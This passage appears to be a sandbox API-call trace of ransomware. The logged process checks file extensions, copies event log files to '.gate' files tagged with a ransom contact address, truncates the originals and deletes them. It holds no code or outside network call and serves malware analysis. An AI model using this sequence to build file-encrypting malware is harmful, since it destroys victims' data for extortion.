lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0121.939] lstrlenW (lpString=".xlsx") returned 5 [0121.939] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0121.939] lstrlenW (lpString=".ppt") returned 4 [0121.939] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0121.939] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.939] lstrlenW (lpString=".zip") returned 4 [0121.939] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0121.939] lstrlenW (lpString=".rar") returned 4 [0121.939] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0121.939] lstrlenW (lpString=".bz2") returned 4 [0121.940] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0121.940] lstrlenW (lpString=".7z") returned 3 [0121.940] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0121.940] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.940] lstrlenW (lpString=".dbf") returned 4 [0121.940] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0121.940] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.940] lstrlenW (lpString=".1cd") returned 4 [0121.940] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0121.940] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.940] lstrlenW (lpString=".jpg") returned 4 [0121.940] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0121.940] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.940] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.940] lstrlenW (lpString=".doc") returned 4 [0121.940] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0121.940] lstrlenW (lpString=".docx") returned 5 [0121.940] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0121.940] lstrlenW (lpString=".pdf") returned 4 [0121.940] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0121.940] lstrlenW (lpString=".xls") returned 4 [0121.940] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0121.940] lstrlenW (lpString=".xlsx") returned 5 [0121.940] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0121.940] lstrlenW (lpString=".ppt") returned 4 [0121.941] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0121.941] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.941] lstrlenW (lpString=".zip") returned 4 [0121.941] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0121.941] lstrlenW (lpString=".rar") returned 4 [0121.941] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0121.941] lstrlenW (lpString=".bz2") returned 4 [0121.941] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0121.941] lstrlenW (lpString=".7z") returned 3 [0121.941] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0121.941] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.941] lstrlenW (lpString=".dbf") returned 4 [0121.941] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0121.941] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.941] lstrlenW (lpString=".1cd") returned 4 [0121.941] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0121.941] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0121.941] lstrlenW (lpString=".jpg") returned 4 [0121.941] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0121.941] lstrcmpiW (lpString1=".sys", lpString2=".gate") returned 1 [0121.941] lstrlenW (lpString="hiberfil.sys") returned 12 [0121.942] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.942] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.942] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.942] lstrlenW (lpString=".doc") returned 4 [0121.942] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0121.942] lstrlenW (lpString=".docx") returned 5 [0121.942] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0121.942] lstrlenW (lpString=".pdf") returned 4 [0121.942] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0121.942] lstrlenW (lpString=".xls") returned 4 [0121.942] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0121.942] lstrlenW (lpString=".xlsx") returned 5 [0121.942] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0121.942] lstrlenW (lpString=".ppt") returned 4 [0121.942] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0121.942] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.942] lstrlenW (lpString=".zip") returned 4 [0121.942] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0121.942] lstrlenW (lpString=".rar") returned 4 [0121.942] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0121.942] lstrlenW (lpString=".bz2") returned 4 [0121.942] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0121.943] lstrlenW (lpString=".7z") returned 3 [0121.943] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0121.943] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.943] lstrlenW (lpString=".dbf") returned 4 [0121.943] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0121.943] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.943] lstrlenW (lpString=".1cd") returned 4 [0121.943] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0121.943] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.943] lstrlenW (lpString=".jpg") returned 4 [0121.943] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0121.943] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.943] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.943] lstrlenW (lpString=".doc") returned 4 [0121.943] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0121.943] lstrlenW (lpString=".docx") returned 5 [0121.943] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0121.943] lstrlenW (lpString=".pdf") returned 4 [0121.943] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0121.943] lstrlenW (lpString=".xls") returned 4 [0121.943] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0121.943] lstrlenW (lpString=".xlsx") returned 5 [0121.943] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0121.943] lstrlenW (lpString=".ppt") returned 4 [0121.943] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0121.944] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.944] lstrlenW (lpString=".zip") returned 4 [0121.944] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0121.944] lstrlenW (lpString=".rar") returned 4 [0121.944] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0121.944] lstrlenW (lpString=".bz2") returned 4 [0121.944] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0121.944] lstrlenW (lpString=".7z") returned 3 [0121.944] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0121.944] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.944] lstrlenW (lpString=".dbf") returned 4 [0121.944] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0121.944] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.944] lstrlenW (lpString=".1cd") returned 4 [0121.944] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0121.944] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0121.944] lstrlenW (lpString=".jpg") returned 4 [0121.944] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0121.944] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0121.944] lstrlenW (lpString="Application.evtx") returned 16 [0121.944] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0122.206] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0122.207] CloseHandle (hObject=0x370) returned 1 [0122.207] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0122.207] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\application.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0122.208] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0122.208] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0122.208] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0122.208] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\application.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0122.213] GetLastError () returned 0x0 [0122.213] ReadFile (in: hFile=0x368, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.290] WriteFile (in: hFile=0x30c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.293] ReadFile (in: hFile=0x368, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0122.293] WriteFile (in: hFile=0x30c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf4, lpOverlapped=0x0) returned 1 [0122.293] SetEndOfFile (hFile=0x30c) returned 1 [0122.293] CloseHandle (hObject=0x30c) returned 1 [0124.459] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0124.459] SetEndOfFile (hFile=0x368) returned 1 [0124.469] CloseHandle (hObject=0x368) returned 1 [0124.469] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0124.470] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0124.522] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.524] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.524] lstrlenW (lpString=".doc") returned 4 [0124.538] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0124.538] lstrlenW (lpString=".docx") returned 5 [0124.538] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0124.538] lstrlenW (lpString=".pdf") returned 4 [0124.538] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0124.538] lstrlenW (lpString=".xls") returned 4 [0124.538] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0124.538] lstrlenW (lpString=".xlsx") returned 5 [0124.538] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0124.538] lstrlenW (lpString=".ppt") returned 4 [0124.538] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0124.538] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.538] lstrlenW (lpString=".zip") returned 4 [0124.538] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0124.538] lstrlenW (lpString=".rar") returned 4 [0124.538] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0124.538] lstrlenW (lpString=".bz2") returned 4 [0124.538] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0124.538] lstrlenW (lpString=".7z") returned 3 [0124.538] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0124.538] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.538] lstrlenW (lpString=".dbf") returned 4 [0124.539] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0124.539] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.539] lstrlenW (lpString=".1cd") returned 4 [0124.539] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0124.539] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.539] lstrlenW (lpString=".jpg") returned 4 [0124.539] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0124.539] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.584] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.584] lstrlenW (lpString=".doc") returned 4 [0124.584] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0124.584] lstrlenW (lpString=".docx") returned 5 [0124.584] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0124.584] lstrlenW (lpString=".pdf") returned 4 [0124.584] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0124.584] lstrlenW (lpString=".xls") returned 4 [0124.584] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0124.584] lstrlenW (lpString=".xlsx") returned 5 [0124.584] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0124.584] lstrlenW (lpString=".ppt") returned 4 [0124.616] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0124.616] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.616] lstrlenW (lpString=".zip") returned 4 [0124.616] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0124.616] lstrlenW (lpString=".rar") returned 4 [0124.616] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0124.616] lstrlenW (lpString=".bz2") returned 4 [0124.616] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0124.616] lstrlenW (lpString=".7z") returned 3 [0124.616] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0124.616] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.617] lstrlenW (lpString=".dbf") returned 4 [0124.617] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0124.617] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.617] lstrlenW (lpString=".1cd") returned 4 [0124.617] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0124.617] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0124.617] lstrlenW (lpString=".jpg") returned 4 [0124.617] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0124.617] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0124.617] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0124.617] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0124.618] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0124.618] CloseHandle (hObject=0x30c) returned 1 [0124.618] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0124.618] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.618] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0124.618] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0124.618] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0124.618] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0124.757] GetLastError () returned 0x0 [0124.757] ReadFile (in: hFile=0x30c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0124.877] WriteFile (in: hFile=0x308, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0124.880] ReadFile (in: hFile=0x30c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0124.880] WriteFile (in: hFile=0x308, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x100, lpOverlapped=0x0) returned 1 [0124.880] SetEndOfFile (hFile=0x308) returned 1 [0124.881] CloseHandle (hObject=0x308) returned 1 [0124.887] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0124.887] SetEndOfFile (hFile=0x30c) returned 1 [0124.888] CloseHandle (hObject=0x30c) returned 1 [0124.888] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0124.889] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0125.308] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.308] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.308] lstrlenW (lpString=".doc") returned 4 [0125.308] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.308] lstrlenW (lpString=".docx") returned 5 [0125.308] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.308] lstrlenW (lpString=".pdf") returned 4 [0125.308] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.308] lstrlenW (lpString=".xls") returned 4 [0125.308] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.308] lstrlenW (lpString=".xlsx") returned 5 [0125.308] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.309] lstrlenW (lpString=".ppt") returned 4 [0125.309] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.309] lstrlenW (lpString=".zip") returned 4 [0125.309] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString=".rar") returned 4 [0125.309] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString=".bz2") returned 4 [0125.309] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString=".7z") returned 3 [0125.309] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.309] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.309] lstrlenW (lpString=".dbf") returned 4 [0125.309] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.309] lstrlenW (lpString=".1cd") returned 4 [0125.309] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.309] lstrlenW (lpString=".jpg") returned 4 [0125.309] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.309] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.309] lstrlenW (lpString=".doc") returned 4 [0125.309] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0125.309] lstrlenW (lpString=".docx") returned 5 [0125.309] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0125.309] lstrlenW (lpString=".pdf") returned 4 [0125.309] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString=".xls") returned 4 [0125.310] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString=".xlsx") returned 5 [0125.310] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0125.310] lstrlenW (lpString=".ppt") returned 4 [0125.310] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.310] lstrlenW (lpString=".zip") returned 4 [0125.310] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString=".rar") returned 4 [0125.310] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString=".bz2") returned 4 [0125.310] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString=".7z") returned 3 [0125.310] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0125.310] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.310] lstrlenW (lpString=".dbf") returned 4 [0125.310] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.310] lstrlenW (lpString=".1cd") returned 4 [0125.310] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0125.310] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0125.310] lstrlenW (lpString=".jpg") returned 4 [0125.310] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0125.311] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0125.311] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0125.311] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0125.552] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1052672) returned 1 [0125.552] CloseHandle (hObject=0x398) returned 1 [0125.553] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0125.553] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.553] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0125.553] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0125.553] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0125.553] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0125.641] GetLastError () returned 0x0 [0125.641] ReadFile (in: hFile=0x398, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0xffff0, lpOverlapped=0x0) returned 1 [0125.989] WriteFile (in: hFile=0x39c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xffff0, lpOverlapped=0x0) returned 1 [0126.234] ReadFile (in: hFile=0x398, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x1010, lpOverlapped=0x0) returned 1 [0126.242] WriteFile (in: hFile=0x39c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x1020, lpOverlapped=0x0) returned 1 [0126.246] ReadFile (in: hFile=0x398, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0126.246] WriteFile (in: hFile=0x39c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x162, lpOverlapped=0x0) returned 1 [0126.246] SetEndOfFile (hFile=0x39c) returned 1 [0126.246] CloseHandle (hObject=0x39c) returned 1 [0126.594] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0126.594] SetEndOfFile (hFile=0x398) returned 1 [0126.595] 